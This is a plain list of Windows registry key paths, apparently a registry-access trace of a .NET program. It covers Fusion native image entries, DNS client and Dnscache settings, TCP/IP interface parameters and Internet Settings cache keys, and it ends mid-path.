HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\159a66b8\424bd4d8\87\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigMask HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ConfigString HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MVID HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\EvalationData HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\ILDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\NIDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6faf58\19ab8d57\86\MissingDependencies HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\DisplayName HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Status HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\Modules HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\SIG HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\IL\75638fee\7566cac\84\LastModTime HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.2.0.System.Data.SqlXml__b77a5c561934e089 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\GACChangeNotification\Default\System.Data.SqlXml,2.0.0.0,,b77a5c561934e089,MSIL HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\InstallationType HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\EnableConsoleTracing HKEY_LOCAL_MACHINE\Software\Microsoft\Tracing\regasm_RASAPI32 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableFileTracing HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\EnableConsoleTracing HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileTracingMask HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\ConsoleTracingMask HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\MaxFileSize HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Tracing\regasm_RASAPI32\FileDirectory HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking\Performance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Library HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\IsMultiInstance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\First Counter HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.net clr networking\Performance HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\CategoryOptions HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\FileMappingSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\.NET CLR Networking\Performance\Counter Names HKEY_CURRENT_USER HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DnsCache\Parameters HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\DnsClient HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DNS HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableAdapterDomainName HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseDomainNameDevolution HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseDomainNameDevolution HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UseDomainNameDevolution HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DomainNameDevolutionLevel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DomainNameDevolutionLevel HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrioritizeRecordData HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\PrioritizeRecordData HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\PrioritizeRecordData HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AllowUnqualifiedQuery HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AllowUnqualifiedQuery HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\AllowUnqualifiedQuery HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AppendToMultiLabelName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AppendToMultiLabelName HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenBadTlds HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenBadTlds HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenUnreachableServers HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenUnreachableServers HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ScreenDefaultServers HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ScreenDefaultServers HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DynamicServerQueryOrder HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DynamicServerQueryOrder HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\FilterClusterIp HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\FilterClusterIp HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\WaitForNameErrorOnAll HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\WaitForNameErrorOnAll HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseEdns HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseEdns HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DnsSecureNameQueryFallback HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsSecureNameQueryFallback HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableDAForAllNetworks HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\EnableDAForAllNetworks HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DirectAccessQueryOrder HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DirectAccessQueryOrder HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\QueryIpMatching HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\QueryIpMatching HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UseHostsFile HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseHostsFile HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AddrConfigControl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AddrConfigControl HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationEnabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationEnabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableDynamicUpdate HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterPrimaryName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterPrimaryName HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\EnableAdapterDomainNameRegistration HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterReverseLookup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterReverseLookup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableReverseAddressRegistrations HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegisterWanAdapters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegisterWanAdapters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DisableWanDynamicUpdate HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationTtl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationTtl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationTTL HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationRefreshInterval HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationRefreshInterval HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DefaultRegistrationRefreshInterval HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationMaxAddressCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationMaxAddressCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\MaxNumberOfAddressesToRegister HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateSecurityLevel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateSecurityLevel HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\UpdateSecurityLevel HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\UpdateTopLevelDomainZones HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UpdateTopLevelDomainZones HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\DowncaseSpnCauseApiOwnerIsTooLazy HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DowncaseSpnCauseApiOwnerIsTooLazy HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\RegistrationOverwrite HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\RegistrationOverwrite HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheSize HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheSize HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCacheTtl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCacheTtl HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxNegativeCacheTtl HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxNegativeCacheTtl HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterTimeoutLimit HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\AdapterTimeoutLimit HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\ServerPriorityTimeLimit HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ServerPriorityTimeLimit HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MaxCachedSockets HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MaxCachedSockets HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableMulticast HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastResponderFlags HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastResponderFlags HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderFlags HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderFlags HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\MulticastSenderMaxTimeout HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\MulticastSenderMaxTimeout HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsTest HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseCompartments HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\CacheAllCompartments HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\UseNewRegistration HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistration HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\ResolverRegistrationOnly HKEY_LOCAL_MACHINE\System\Setup HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQueryTimeouts HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQueryTimeouts HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Dnscache\Parameters\DnsQuickQueryTimeouts HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\DnsQuickQueryTimeouts HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\PrimaryDomainName HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\System\DNSClient HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\EnableAdapterDomainNameRegistration HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\AdapterDomainName HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\QueryAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DisableAdapterDomainName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationEnabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegisterAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\RegistrationMaxAddressCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\MaxNumberOfAddressesToRegister HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\Domain HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{C2D43895-0262-4873-A789-C2F96D24B693}\DhcpDomain HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{846EE342-7039-11DE-9D20-806E6F6E6963} HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\QueryAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableAdapterDomainName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationEnabled HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DisableDynamicUpdate HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegisterAdapterName HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\EnableAdapterDomainNameRegistration HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\RegistrationMaxAddressCount HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\MaxNumberOfAddressesToRegister HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\Domain HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\Interfaces\{846ee342-7039-11de-9d20-806e6f6e6963}\DhcpDomain HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient\SearchList HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\Tcpip\Parameters\SearchList HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\NodeType HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpNodeType HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\ScopeId HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\DhcpScopeId HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableProxy HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\NetBT\Parameters\EnableDns HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\ProductId HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgJITDebugLaunchSetting HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\.NETFramework\DbgManagedDebugger HKEY_CURRENT_USER\Control Panel\International HKEY_CURRENT_USER\Control Panel\International\sYearMonth HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic.resources_it-IT_b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6d5fb745\1c4dd593 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\PublisherPolicy\Default\policy.8.0.Microsoft.VisualBasic.resources_it_b03f5f7f11d50a3a HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\6d5fb745\4deb99ab HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\f90cba6\74950e88 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NativeImagesIndex\v2.0.50727_32\NI\f90cba6\736ad971 HKEY_LOCAL_MACHINE\Software\Policies HKEY_CURRENT_USER\Software\Policies HKEY_CURRENT_USER\Software HKEY_LOCAL_MACHINE\Software HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Url History HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Url History HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Url History HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\Url History\DaysToKeep HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\SyncMode5 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\SessionStartTimeDefaultDeltaSecs HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Signature HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\PerUserItem HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\PerUserItem HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\PerUserItem HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\DOMStore\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheRepair HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePath HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CachePrefix HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheLimit HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Extensible Cache\feedplat\CacheOptions HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet 